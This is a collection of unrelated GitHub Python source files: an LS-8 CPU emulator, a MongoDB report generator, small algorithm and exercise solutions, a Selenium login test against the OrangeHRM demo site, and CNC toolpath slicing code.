{"seq_id":"2635797182","text":"\"\"\"CPU functionality.\"\"\"\nimport sys\n\nPRN = 0b01000111\nLDI = 0b10000010\nHLT = 0b00000001\nMUL = 0b10100010\nPUSH = 0b01000101\nPOP = 0b01000110\nCALL = 0b01010000\nRET = 0b00010001\nADD = 0b10100000\n\n\n\nclass CPU:\n    \"\"\"Main CPU class.\"\"\"\n\n    def __init__(self):\n        \"\"\"Construct a new CPU.\"\"\"\n        self.ram = [0] * 256\n        self.reg = [0] * 8\n        self.pc = 0\n        self.branchtable = {}\n        self.branchtable[PRN] = self.handle_PRN\n        self.branchtable[LDI] = self.handle_LDI\n        self.branchtable[HLT] = self.handle_HLT\n        self.branchtable[MUL] = self.handle_MUL\n        self.branchtable[PUSH] = self.handle_PUSH\n        self.branchtable[POP] = self.handle_POP\n        self.branchtable[CALL] = self.handle_CALL\n        self.branchtable[RET] = self.handle_RET\n        self.branchtable[ADD] = self.handle_ADD\n        self.SP = 7\n        # sets the stack pointer register's value to be 244 AKA 0xF4\n        self.stack_pointer = self.reg[self.SP] = 244\n\n# A function that takes in the current instruction and runs them in O(1) against our branchtable, \n# based on what the current instruction is.\n    def handle_operations(self, IR, operand_a, operand_b, distance):\n        if IR == LDI:\n            self.branchtable[IR](operand_a, operand_b, distance)\n        elif IR == PRN:\n            self.branchtable[IR](operand_a, distance)\n        elif IR == MUL:\n            self.branchtable[IR](operand_a, operand_b, distance)\n        elif IR == PUSH:\n            self.branchtable[IR](operand_a, distance)\n        elif IR == POP:\n            self.branchtable[IR](operand_a, distance)\n        elif IR == CALL:\n            self.branchtable[IR](operand_a)\n        elif IR == RET: \n            self.branchtable[IR]()\n        elif IR == ADD:\n            self.branchtable[IR](operand_a, operand_b, distance)\n        elif IR == HLT:\n            self.branchtable[IR]()\n\n    # A helper function that performs ADD per the ls8 spec.\n    def handle_ADD(self, operand_a, operand_b, distance):\n        self.alu('ADD', operand_a, operand_b)\n        self.pc += distance\n\n    # A helper function that performs RET per the ls8 spec.\n    def handle_RET(self):\n        self.pc = self.ram[self.stack_pointer]\n        self.stack_pointer -= 1\n\n    # A helper function that performs CALL per the ls8 spec.\n    def handle_CALL(self, operand_a):\n        return_address = self.pc + 2\n        self.stack_pointer -= 1\n        self.ram[self.stack_pointer] = return_address\n        self.pc = self.reg[operand_a]\n\n    # A helper function that performs POP per the ls8 spec.\n    def handle_POP(self, operand_a, distance):\n        self.reg[operand_a] = self.ram[self.stack_pointer]\n        self.stack_pointer += 1\n        self.pc += distance\n\n    # A helper function that performs PUSH per the ls8 spec.\n    def handle_PUSH(self, operand_a, distance):\n        self.stack_pointer -= 1\n        self.ram[self.stack_pointer] = self.reg[operand_a]\n        self.pc += distance\n\n    # A helper function that performs MUL per the ls8 spec.\n    def handle_MUL(self, operand_a, operand_b, distance):\n        self.alu('MUL', operand_a, operand_b)\n        self.pc += distance\n\n    # A helper function that performs HLT per the ls8 spec.\n    def handle_HLT(self):\n        running = False\n        return sys.exit(1)\n\n    # A helper function that performs PRN per the ls8 spec.\n    def handle_PRN(self, operand_a, distance):\n        print(self.reg[operand_a])\n        self.pc += distance\n\n    # A helper function that performs LDI per the ls8 spec.\n    def handle_LDI(self, operand_a, operand_b, distance):\n        self.reg[operand_a] = operand_b\n        self.pc += distance\n\n    # Gets the current ram value of the current MAR.\n    def ram_read(self, MAR):\n        return self.ram[MAR]\n\n    def ram_write(self, MDR):\n        pass\n\n    def load(self):\n        \"\"\"Load a program into memory.\"\"\"\n\n        if len(sys.argv) != 2:\n            print(f'usage: {sys.argv[0]} <filename>')\n            sys.exit(1)\n\n        try:\n            with open(sys.argv[1]) as f:\n                address = 0\n                for line in f:\n                    num = line.split('#', 1)[0]\n                    if num.strip() == '':\n                        continue\n                    \n                    self.ram[address] = int(num, 2)\n                    address += 1\n                    \n        except FileNotFoundError:\n            print(f'{sys.argv[0]}: {sys.argv[1]} not found.')\n            sys.exit(2)\n\n    def alu(self, op, reg_a, reg_b):\n        \"\"\"ALU operations.\"\"\"\n\n        if op == \"ADD\":\n            self.reg[reg_a] += self.reg[reg_b]\n        elif op == \"MUL\":\n            self.reg[reg_a] = self.reg[reg_a] * self.reg[reg_b]\n        # elif op == \"SUB\": etc\n        else:\n            raise Exception(\"Unsupported ALU operation\")\n\n    def trace(self):\n        \"\"\"\n        Handy function to print out the CPU state. You might want to call this\n        from run() if you need help debugging.\n        \"\"\"\n\n        print(f\"TRACE: %02X | %02X %02X %02X |\" % (\n            self.pc,\n            # self.fl,\n            # self.ie,\n            self.ram_read(self.pc),\n            self.ram_read(self.pc + 1),\n            self.ram_read(self.pc + 2)\n        ), end='')\n\n        for i in range(8):\n            print(\" %02X\" % self.reg[i], end='')\n\n        print()\n\n    def run(self):\n        \"\"\"Run the CPU.\"\"\"\n        running = True\n        # print(0b00011000)\n        while running:\n            # Gets the current instruction from RAM\n            IR = self.ram[self.pc]\n            # Sets the first operand from ram (operand is a like a variable)\n            operand_a = self.ram_read(self.pc + 1)\n            # sets the second operand from ram (operand is like a variable)\n            operand_b = self.ram_read(self.pc + 2)\n            # gets the number of operands by using bitwise-AND to parse our instruction.\n            num_operands = (IR & 0b11000000) >> 6\n            # gets the number of operations that the pc will need to be incremented.\n            dist_to_move_pc = num_operands + 1\n            # A function that takes in the current instruction and runs them in O(1) against our branchtable, \n            # based on what the current instruction is.\n            self.handle_operations(IR, operand_a, operand_b, dist_to_move_pc)\n","repo_name":"Jordan-Stoddard/Computer-Architecture-Deforked","sub_path":"ls8/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":6287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5096410126","text":"from jinja2 import FileSystemLoader, Environment\nimport logging\nimport os\nfrom pymongo import MongoClient\nfrom bs4 import BeautifulSoup\n\nfrom bromonitorgenerator.templates.figure_mapping import figure_mapping, data\nfrom bromonitorgenerator.utils.start_date import set_start_date\nfrom bromonitorgenerator.utils.utils import today\nfrom common.config import MONGODB_URL\n\n# Load the bromonitor_template html from filesystem\nfile_loader = FileSystemLoader(\"templates\")\nenv = Environment(loader=file_loader)\ntemplate = env.get_template(\"bromonitor_template.html\")\n\n# Render the template with figures and links inserted at the mapped keys\nhtml = template.render(figure_mapping)\noutput_recent = {\"date\": today(), \"html\": html, \"static_data\": data, \"most_recent\": True}\n\n# Remove hrefs for the archived version\nsoup = BeautifulSoup(html, \"lxml\")\nfor a in soup.findAll(\"a\"):\n    del a[\"href\"]\n\n# Remove divs containing explanation on how the links work for archived version\nfor div in soup.find_all(\"div\", {\"class\": \"bromonitor-link-toelichting\"}):\n    div.decompose()\n\noutput_archive = {\"date\": today(), \"html\": str(soup), \"most_recent\": False}\n\n# Mongodb connection\nclient = MongoClient(MONGODB_URL)\ndb = client.bro\n\n# Insert fully generated archive html into mongo\n# keeping one archive for each date\ndb.bromonitor.replace_one(\n    filter={\"date\": output_archive[\"date\"], \"most_recent\": False},\n    replacement=output_archive,\n    upsert=True,\n)\n\n# Insert fully generated most recent html into mongo\n# Keep only exact 1 most_recent bromonitor\ndb.bromonitor.replace_one(\n    filter={\"most_recent\": True}, replacement=output_recent, upsert=True\n)\n\n# Set the startdate value in the mongodb to the final registrationobject in the database currently\nset_start_date()\n","repo_name":"MinBZK/BROMonitor","sub_path":"app/bromonitorgenerator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34147355730","text":"import numpy as np\n\n\ndef parse(line):\n    p = line.split('=')\n    left = p[0].split(' ')\n    print(p)\n    x = left[left.index('x') - 1]\n    y = left[left.index('x') - 1]\n    right = p[1].strip()\n    row = [x, y, right]\n    return row\n\n\nmatrix = np.array([[1, 2], [3, 4]])\nprint('Determinant: ', np.linalg.det(matrix))\nprint('Inversion: ', np.linalg.inv(matrix))\nprint('Solution: (x, y) = ', np.linalg.solve(matrix, np.array([1, 2])))\n\nfirstLine = input('Enter first line:')\nsecondLine = input('Enter second line:')\n\nfirstRow = parse(firstLine)\nsecondRow = parse(secondLine)\nmatrix = np.array([firstRow, secondRow])\n\nprint('Solution: (x, y) = ', np.linalg.solve(matrix, np.array([1, 2])))\n","repo_name":"sedlak87/PV248-work","sub_path":"exercise7.py","file_name":"exercise7.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27670709892","text":"# 바텀업\nN = int(input())\nstair = [int(input()) for i in range(N)]\ndp = []\nif N > 0:\n    dp.append(stair[0])\nif N > 1:\n    dp.append(stair[0]+stair[1])\nif N > 2:\n    dp.append(max(stair[2]+stair[0], stair[2]+stair[1]))\nfor i in range(3, N):\n    dp.append(max((stair[i]+stair[i-1]+dp[i-3]), (stair[i] + dp[i-2])))\nprint(dp[N-1])\n\n# 탑다운\n# import sys\n# sys.setrecursionlimit(20000)\n# input = sys.stdin.readline\n#\n#\n# def top_down(n):\n#     if n == 1:\n#         dp[1] = stair[1]\n#         return dp[1]\n#     if n == 2:\n#         dp[2] = stair[2] + stair[1]\n#         return dp[2]\n#     if n == 3:\n#         dp[3] = max(stair[3]+stair[1], stair[3] + stair[2])\n#         return dp[3]\n#     if n > 3 and dp[n] == 0:\n#         dp[n] = max(stair[n]+stair[n-1]+top_down(n-3),\n#                     stair[n] + top_down(n-2))\n#         return dp[n]\n#     return dp[n]\n#\n#\n# N = int(input())\n# stair = [0] + [int(input()) for _ in range(N)]\n# dp = [0 for _ in range(N+1)]\n# print(top_down(N))","repo_name":"dlush93/My_Algorithm","sub_path":"BAEKJOON/Silver/S3/2579. 계단 오르기.py","file_name":"2579. 계단 오르기.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10681232103","text":"import pdb\n\nN = int(input())\ni = 0\nlist = [0] * N\n\nwhile i < N:\n  list[i] = input()\n  i += 1\n\nlist.sort()\nk = 1\ncount_list = [0]*N\ncount_list[0] = 1\nans_list = [0] * N\nans_list[0] = list[0]\nl = 0\n\n\n\nwhile k < N:\n  if list[k] != list[k-1]:\n    l +=1\n    ans_list[l] = list[k]\n\n  count_list[l] += 1\n  k += 1\n\ns = max(count_list)\n\nfor i in range(N):\n  if count_list[i] == s:\n    print(ans_list[i])","repo_name":"Takahiro800/Atcoder1","sub_path":"ABC/C/155C.py","file_name":"155C.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29929457165","text":"##### Orange-HRM Login test #####\nimport time\nimport unittest\nfrom selenium import webdriver\nimport HtmlTestRunner\n\nclass htmlReporting(unittest.TestCase):\n\n    def setUp(self) -> None:\n        driver_path = 'C:\\\\Users\\\\ranje\\\\Downloads\\\\chromedriver_win32\\\\chromedriver.exe'\n        self.Driver = webdriver.Chrome(executable_path=driver_path)\n        # application_url = 'https://opensource-demo.orangehrmlive.com/'\n        # cls.Driver.get(application_url)\n        # cls.Driver.maximize_window()\n\n\n    def test_verifyHomePageTitle(self):\n        application_url = 'https://opensource-demo.orangehrmlive.com/'\n        self.Driver.get(application_url)\n        # time.sleep(5)\n        self.Driver.maximize_window()\n        self.assertEqual(\"OrangeHRM\",self.Driver.title,\"webpage Title is not matching\")\n\n    def test_verifyLogin(self):\n        application_url = 'https://opensource-demo.orangehrmlive.com/'\n        self.Driver.get(application_url)\n        time.sleep(5)\n        self.Driver.find_element_by_id('txtUsername').send_keys('Admin')\n        self.Driver.find_element_by_id('txtPassword').send_keys('admin123')\n        self.Driver.find_element_by_id('btnLogin').click()\n        # time.sleep(5)\n        self.assertEqual(\"OrangeHRM\", self.Driver.title, \"webpage Title is not matching\")\n\n    def tearDown(self) -> None:\n        self.Driver.quit()\n        print(\"Test completed\")\n\n\nif __name__ == '__main__':\n    unittest.main(testRunner = HtmlTestRunner.HTMLTestRunner(output = \"E:\\\\python_code\\\\Reports\"))\n\n\n\n### to generate report we have to run the code through terminal\n\n### python test_htmlReporting.py --> This is the command to run in terminal\n\n","repo_name":"salveranjeet/Automation_Python_selenium","sub_path":"test_htmlReporting.py","file_name":"test_htmlReporting.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30014256726","text":"def strlik(str1, str2):\n\tif not(len(str1)==len(str2)):\n\t\treturn False\n\tfor x in range(len(str1)):\n\t\tif str1[x] != str2[x]:\n\t\t\treturn False\n\treturn True\n#print(strlik(\"test\", \"test\"))\n\ndef strrev(streng):\n\tliste = list(streng)\n\ty = len(liste)\n\tx = 0\n\twhile x <= (y/2):\n\t\ty -= 1\n\t\tliste[x], liste[y] = liste[y], liste[x]\n\t\tx += 1\n\tstreng = \"\".join(liste)\n\treturn streng\n#print(strrev(\"anders\"))\n\ndef strpal(streng):\n\treturn strlik(streng, strrev(streng))\nprint(strpal(\"abba\"))\n\ndef strinn(str1, str2):\n\tprint(str1.split(str2))\n\tif(strlik(str1, \"\".join(str1.split(str2)))):\n\t\treturn False\n\treturn str1.index(str2)\nprint(strinn(\"blablatestblabla\", \"tomat\"))","repo_name":"plusk/dump","sub_path":"TDT4110-F15/oving7/strenghandtering.py","file_name":"strenghandtering.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34044907113","text":"import paramaters as params\nimport numpy as np\nimport copy\nimport objectDefinitions as oD\nfrom shapely.ops import nearest_points, cascaded_union\nfrom sortedcontainers import SortedList, SortedSet, SortedDict\nfrom shapely.geometry import Polygon, Point, LineString, MultiPolygon, box, MultiPoint\nimport plotContours\nfrom matplotlib import pyplot\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef calcPlaneTriangleIntersection( plane, triangle ):\n\tpointSigns = [1 ,1, 1]\n\tfor i, vector in enumerate(triangle):\n\t\tif np.dot(np.subtract( vector, plane.Point), plane.Normal) < 0:\n\t\t\tpointSigns[i] = -1\n\t\n\ttriangleLoc = np.sum(pointSigns)\n\n\tif triangleLoc == -1:\n\t\ttriTip = pointSigns.index(1)\n\n\telif triangleLoc == 1:\n\t\ttriTip = pointSigns.index(-1)\n\telif np.abs(triangleLoc) == 3:\n\t\treturn False\n\n\tintVecs = []\n\tfor i in range(3):\n\t\tif i != triTip:\n\t\t\tintVecs.append(np.subtract(triangle[i], triangle[triTip]))\n\n\tL1 = oD.Line(triangle[triTip], intVecs[0])\n\tL2 = oD.Line(triangle[triTip], intVecs[1])\n\n\tp1 = calcPlaneLineIntersection( plane, L1 )\n\tp2 = calcPlaneLineIntersection( plane, L2 )\n\treturn [p1, p2]\n\n# determine if a point is inside a given polygon or not\n# Polygon is a list of (x,y) pairs.\n\ndef tolerantBinarySearchVertexList( vertex, vertexList , toPrint=False):\n\t\"\"\"Performs iterative binary search to find the position of a vertex in a given, sorted, list.\n\tvertexList -- sorted list of vertices or points\n\tvertex -- 3d vertex or point (list or array) you are searching for\n\t\"\"\"\n\tfirst = 0\n\tlast = len(vertexList) -1\n\tif (not isinstance(vertex, list)):\n\t\tvertex = vertex.tolist()\n\tif toPrint:\n\t\tprint(vertexList)\n\t\tprint(\"Vertex to Find = %s\" % (vertex))\n\twhile first <= last:\n\t\ti = (first + last) / 2\n\t\tif toPrint:\n\t\t\tprint(\"Current Index: %s, Vertex = %s\" % (i, vertexList[i]))\t\n\t\tif tolerantEquals(vertexList[i], vertex):\n\t\t\t\treturn i\n\t\telif tolerantCompare( vertexList[i] , vertex) == 1:\n\t\t\t\tlast = i - 1\n\t\telif tolerantCompare( vertexList[i], vertex) == -1:\n\t\t\t\tfirst = i + 1\n\t\telse:\n\t\t\treturn None\n\ndef tolerantLinearSearch( vertex, vertexList ):\n\tfor i, vertexTest in enumerate(vertexList):\n\t\t\n\t\t\n\t\tif (not isinstance(vertexTest, list)):\n\t\t\tvertexTest = vertexTest.tolist()\n\t\tif tolerantEquals(vertexTest, vertex):\n\t\t\treturn i\n\n\treturn None\n\ndef tolerantEquals( v1, v2, tolerance=.000000001 ):\n\n\tif (np.abs(v1[0]-v2[0]) < tolerance) and (np.abs(v1[1]-v2[1]) < tolerance) and (np.abs(v1[2]-v2[2]) < tolerance):\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef tolerantCompare( v1, v2, tolerance=.000000001 ):\n\t\"\"\"Returns True if v1 > v2 within tolerance, and False otherwise\"\"\"\n\n\tif (np.abs(v1[0]-v2[0]) < tolerance):\n\t\tif (np.abs(v1[1]-v2[1]) < tolerance):\n\t\t\tif (np.abs(v1[2]-v2[2]) < tolerance):\n\t\t\t\treturn 0\n\t\t\telse:\n\t\t\t\tif v1[2] > v2[2]:\n\t\t\t\t\treturn 1\n\t\telse:\n\t\t\tif v1[1] > v2[1]:\n\t\t\t\treturn 1\n\telse:\n\t\tif v1[0] > v2[0]:\n\t\t\treturn 1\n\treturn -1\n\ndef cmp_to_key(mycmp):\n    'Convert a cmp= function into a key= function'\n    class K(object):\n        def __init__(self, obj, *args):\n            self.obj = obj\n        def __lt__(self, other):\n            return mycmp(self.obj, other.obj) < 0\n        def __gt__(self, other):\n            return mycmp(self.obj, other.obj) > 0\n        def __eq__(self, other):\n            return mycmp(self.obj, other.obj) == 0\n        def __le__(self, other):\n            return mycmp(self.obj, other.obj) <= 0\n        def __ge__(self, other):\n            return mycmp(self.obj, other.obj) >= 0\n        def __ne__(self, other):\n            return mycmp(self.obj, other.obj) != 0\n    return K\n\ndef calcPlaneLineIntersection( plane, line ):\n\tsI = np.dot(plane.Normal, np.subtract(plane.Point, line.Point))/np.dot(plane.Normal, line.Direction)\n\treturn line.Point + sI * line.Direction\n\ndef pointPlaneDist( plane, point ):\n\tpass\n\ndef projectPointToPlane( plane, planeX, point, normalize=True):\n\tif normalize:\n\t\tplane.Normal = np.linalg.norm(plane.Normal)\n\t\tplaneX = np.linalg.norm(planeX)\n\tx = np.dot((point-plane.Point), planeX)\n\ty = np.dot((point-plane.Point), np.cross(plane.Normal, planeX))\n\treturn [x,y]\n\n\ndef genTopology ( mesh ):\n\n\tvertexList = SortedList(key=cmp_to_key(tolerantCompare))\n\tfaceList = SortedList()\n\tind = 0\n\n\tfor triangle in mesh.vectors:\n\t\tind += 1\n\t\tfor vertex in triangle:\n\t\t\tj = tolerantBinarySearchVertexList( vertex, vertexList )\n\t\t\tif (j == None):\n\t\t\t\tvertexList.add(vertex.tolist())\n\n\tind = 0\n\tfor triangle in mesh.vectors:\n\t\tind += 1\n\t\tface = []\n\t\tfor vertex in triangle:\n\t\t\tj = tolerantBinarySearchVertexList( vertex, vertexList )\n\t\t\tif (j != None):\n\t\t\t\tface.append(j)\n\t\t\telse:\n\t\t\t\ttolerantBinarySearchVertexList(vertex, vertexList, True)\n\t\t\t\traise ValueError(\"Couldn't find vertex in list\")\n\t\tfaceList.add(face)\n\n\treturn oD.MeshTopology(faceList, vertexList)\n\n\n\"\"\"\nConverts a polygon to a list. If the polygon is a multipolygon or already a list\nit breaks it into a list of Polygon objects. If not, it returns a list containing the element\npoly.\n\"\"\"\ndef polyToList( poly ):\n\t\n\tif (type(poly) == list) or poly.geom_type == \"MultiPolygon\" :\n\t\tpolyList = []\n\t\tfor internalPoly in poly:\n\t\t\tpolyList.append(Polygon(internalPoly.exterior.coords))\n\t\t\tfor interior in internalPoly.interiors:\n\t\t\t\tpolyList.append(Polygon(interior.coords))\n\t\treturn polyList\n\telse:\n\t\tpolyList = []\n\t\tfor interior in poly.interiors:\n\t\t\tpolyList.append(Polygon(interior.coords))\n\n\t\tif polyList:\n\t\t\tpolyList.append(Polygon(poly.exterior.coords))\n\t\t\treturn polyList\n\t\telse:\n\t\t\treturn [poly]\n\n\"\"\"\nOptional paramaters to be added later for toolpath generation.\nUnits are in Millimeters\n\"\"\"\ndef genToolPath( multiPoly, pathStepSize=3, initial_Offset=0, zHeight=0, topBounds=0, bufferRes=4 ):\n\tmultiPoly = multiPoly.simplify(params.POLY_TOL, preserve_topology=True)\n\tpolyList = []\n\tstep = initial_Offset\n\tinc = 0\n\twhile (1):\n\t\tinc += 1\n\t\tpoly = multiPoly.buffer(step, resolution=bufferRes)\n\t\tpoly = poly.simplify(params.POLY_TOL, preserve_topology=True)\n\t\tif poly.is_empty:\n\t\t\tbreak\n\n\t\tpolyList.append(polyToList(poly))\n\t\tstep = step-pathStepSize\n\n\tif polyList == []:\n\t\treturn False\n\torderedPolyList = []\n\torderedPolyList.append(polyList[0].pop(0))\n\n\tcurrPolyIndex = 0\n\twhile (1):\n\t\tif not polyList:\n\t\t\tbreak\n\n\t\tif currPolyIndex + 1 == len(polyList):\n\t\t\tif not polyList[0]:\n\t\t\t\tpolyList.pop(0)\n\t\t\t\tcurrPolyIndex = currPolyIndex - 1\n\t\t\t\tcontinue\n\t\t\torderedPolyList.append(polyList[0].pop(0))\n\t\t\tcurrPolyIndex = 0\n\t\t\tcontinue\n\n\t\tfor i, nextPoly in enumerate(polyList[currPolyIndex+1], 0):\n\t\t\tif nextPoly.within(orderedPolyList[-1]):\n\t\t\t\torderedPolyList.append(polyList[currPolyIndex+1].pop(i))\n\t\t\t\tbreak\n\t\tcurrPolyIndex = currPolyIndex + 1\n\n\tx = np.array([])\n\ty = np.array([])\n\tz = np.array([])\n\tfor i, poly in enumerate(orderedPolyList[1::], 1):\n\n\t\tx_, y_ = orderedPolyList[i-1].exterior.coords.xy\n\t\tx = np.concatenate([x ,x_])if x.shape else x_\n\t\ty = np.concatenate([y ,y_])if y.shape else y_\n\t\tz = np.concatenate([z, np.full_like(x_, zHeight)])\n\t\tclosestIndex = findClosestPolyIndex(orderedPolyList[i].exterior.coords, \n\t\t\t\t\t\t\t\t\t\t\torderedPolyList[i-1].exterior.coords[0])\n\t\torderedPolyList[i] = Polygon(orderedPolyList[i].exterior.coords[closestIndex:-1] +\n\t\t\t\t\t\t\t\t\t orderedPolyList[i].exterior.coords[0:closestIndex])\n\t\tchangePath = LineString([orderedPolyList[i-1].exterior.coords[0], orderedPolyList[i].exterior.coords[0]])\n\n\t\tif changePath.crosses(multiPoly) or not multiPoly.contains(changePath):\n\n\t\t\tcx, cy = changePath.coords.xy\n\t\t\tcz = np.full_like(cx, topBounds)\n\t\t\tx = np.concatenate([x, cx])\n\t\t\ty = np.concatenate([y, cy])\n\t\t\tz = np.concatenate([z, cz])\n\n\tx_, y_ = orderedPolyList[-1].exterior.coords.xy\n\tx = np.concatenate([x ,x_])\n\ty = np.concatenate([y ,y_])\n\tz = np.concatenate([z, np.full_like(x_, zHeight)])\n\n\tres = lambda: None\n\tres.PolyList = orderedPolyList\n\tres.XYZ = [x, y, z]\n\n\treturn res\n\n\ndef generateToolOffsets( contourList, zSpacing, bufferRes=4, noVertical=False):\n\t\"\"\"\n\tTakes in a contour list (a list of polygons) that already\n\ttake overhangs into account (i.e., all n+m contours contain\n\tthe contour n) and generates a new contour list, where the resulting\n\tcontours prevent the tool from hitting previous layers. \n\t\"\"\"\n\n\t# This assumes a cylindrical tool with a 90 degree conical tip.\n\n\tmaxOffset = params.TOOL_DIAMETER/2\n\n\tresContourList = copy.deepcopy(contourList)\n\tfor i, contour in enumerate(contourList, 0):\n\t\tcurrOffset = zSpacing\n\t\tbuffList = []\n\t\tn = 1\n\t\tif noVertical:\n\t\t\tif n <= i:\n\t\t\t\tbuffList.append(resContourList[i-n].buffer(currOffset, resolution=bufferRes))\n\t\telse:\n\t\t\twhile n <= i:\n\t\t\t\tif currOffset > maxOffset:\n\t\t\t\t\tcurrOffset = maxOffset\n\t\t\t\t\tn = i # Set this so that the loop breaks after this round is completed\n\t\t\t\tbuffList.append(contourList[i-n].buffer(currOffset, resolution=bufferRes))\n\t\t\t\tn = n + 1\n\t\t\t\tcurrOffset = zSpacing*n\n\n\t\tresContourList[i] = cascaded_union(buffList + [resContourList[i]])\n\t\t# if buffList:\n\t\t# \tresContourList[i] = buffList[-1]\n\treturn resContourList\n\n\ndef genSlicePlanes( maxHeight, spacing, originCSys ):\n\t\"\"\"\n\tGenerates a number of slicing planes with origins directly\n\tabove the originCSys, and are 'spacing' distance apart from eachother. \n\tNote that this generates slicing planes in the Z Direction\n\tonly, and for other axes of slicing, a transform and inverse transform should be \n\tused to move the model in and out of the correct coordinate system.\n\t\"\"\"\n\n\tplanes = []\n\tzHeights = np.arange(originCSys.Point[2], originCSys.Point[2]+maxHeight, spacing)\n\n\tfor zHeight in zHeights:\n\t\toriginPoint = copy.deepcopy(originCSys.Point)\n\t\toriginPoint[2] = zHeight\n\t\tplanes.append(oD.Plane(originPoint, [0, 0, 1]))\n\treturn planes\n\ndef contourConstruction( segmentList ):\n\tsegMap = {}\n\tcontours = []\n\n\tfor segment in segmentList:\n\t\tif segment[0].__hash__() == segment[1].__hash__():\n\t\t\tcontinue\n\t\tu = segment[0]\n\t\tv = segment[1]\n\t\tif u not in segMap:\n\t\t\tsegMap[u] = [v, None]\n\t\telse:\n\t\t\tsegMap[u] = [segMap[u][0], v]\n\n\t\tif v not in segMap:\n\t\t\tsegMap[v] = [u, None]\n\t\telse:\n\t\t\tsegMap[v] = [segMap[v][0], u]\n\n\twhile segMap:\n\t\tpoints = []\n\t\tpoints.append(segMap.keys()[0])\n\t\t[p, last] = segMap.pop(points[0])\n\t\tpoints.append(p)\n\n\t\tj = 1\n\t\twhile points[j-1].__hash__() != last.__hash__():\n\n\t\t\t[u, v] = segMap.pop(points[j])\n\n\t\t\tif tolerantEquals(u.Coordinates, points[j-1].Coordinates):\n\t\t\t\tpoints.append(v)\n\t\t\telse:\n\t\t\t\tpoints.append(u)\n\t\t\tj += 1\n\t\tcontours.append(points)\n\n\treturn contours\n\n\ndef incrementalSlicing(meshTopology, planes, planeDelta):\n\ttriangleLists = splitTriangles( meshTopology, planes, planeDelta)\n\tactiveTriangles = set()\n\tsegments = [[] for i in range(len(planes))]\n\n\tfor i in range(len(planes)):\n\t\tactiveTriangles.update(triangleLists[i])\n\t\tfor triangle in copy.deepcopy(activeTriangles):\n\t\t\tif triangle.maxZ < planes[i].Point[2]:\n\t\t\t\tactiveTriangles.remove(triangle)\n\t\t\telse:\n\t\t\t\tintPoints = calcPlaneTriangleIntersection( planes[i], meshTopology.getTrianglefromIndex(triangle.Indices))\n\t\t\t\tsegments[i].append([oD.Vertex(intPoints[0]), oD.Vertex(intPoints[1])])\n\n\treturn segments\n\ndef splitTriangles( meshTopology, planes, planeDelta):\n\ttriangleLists = [set() for i in range(len(planes)+1)]\n\tif planeDelta > 0:\n\t\tfor i, face in enumerate(meshTopology.faces, 0):\n\t\t\ttriangle = meshTopology.getTrianglefromIndex( face )\n\t\t\tminT, maxT = meshTopology.minMaxList[i]\n\t\t\t\n\t\t\tif minT < planes[0].Point[2]:\n\t\t\t\tj = 0\n\n\t\t\telif minT > planes[-1].Point[2]:\n\t\t\t\tj = len(planes)\n\t\t\telse:\n\t\t\t\tj = int(np.floor((minT-planes[0].Point[2])/planeDelta) +1 )\n\t\t\ttriangleLists[j] = triangleLists[j].union([oD.Face(face, minT, maxT)])\n\n\treturn triangleLists\n\ndef findClosestPolyIndex( coords, point ):\n\tminDist = float(\"inf\")\n\tminIndex = -1\n\tfor i, coord in enumerate(coords, 0):\n\t\tnewDist = dist(coord, point)\n\t\tif newDist < minDist:\n\t\t\tminIndex = i\n\t\t\tminDist = newDist\n\treturn minIndex\t\n\ndef dist(x,y):   \n    return np.sqrt((x[0]-y[0])**2 + (x[1]-y[1])**2)\n\ndef getPolyDepth( multiPoly ):\n\t\"\"\"\n\tReturns a list of polygons (not a MultiPolygon) where each polygon has the attribute\n\t'depth' which represents the depth of containment of the polygon\n\t\"\"\"\n\tmultiPoly = MultiPolygon(sorted(multiPoly, key=oD.Within, reverse=True))\n\n\tdepthMapping = []\n\tmultiPolyList = []\n\tfor poly in multiPoly:\n\t\tpoly.depth = 0\n\t\tmultiPolyList.append(poly)\n\n\tfor i, poly in enumerate(multiPolyList, 0):\n\t\tif i == len(multiPolyList)-1:\n\t\t\tbreak\n\t\tif oD.Within(multiPolyList[i+1]) < oD.Within(poly):\n\t\t\tmultiPolyList[i+1].depth = poly.depth + 1\n\t\telse:\n\t\t\tmultiPolyList[i+1].depth = poly.depth\n\n\tpolygonGrouping = []\n\tpolyInteriors = []\n\tfor poly in multiPolyList:\n\n\t\tpolyExterior = None\n\n\t\tif poly.depth % 2 == 0:\n\t\t\tpolygonGrouping.append([poly, []])\n\t\telse:\n\t\t\tpolygonGrouping[-1][1].append(poly)\n\n\tpolyResults = []\n\tfor polygon in polygonGrouping:\n\n\t\tif polygon[1]:\n\t\t\ttupleList =[]\n\t\t\tfor polygonInstance in polygon[1]:\n\t\t\t\ttupleList.append(list(polygonInstance.exterior.coords))\n\t\t\tpolyResults.append(Polygon(list(polygon[0].exterior.coords), tupleList))\n\n\t\telse:\n\t\t\tpolyResults.append(polygon[0])\n\n\treturn MultiPolygon(polyResults)\n","repo_name":"maxschommer/CNC-Chiseling","sub_path":"CAM/processingFunctions.py","file_name":"processingFunctions.py","file_ext":"py","file_size_in_byte":12931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
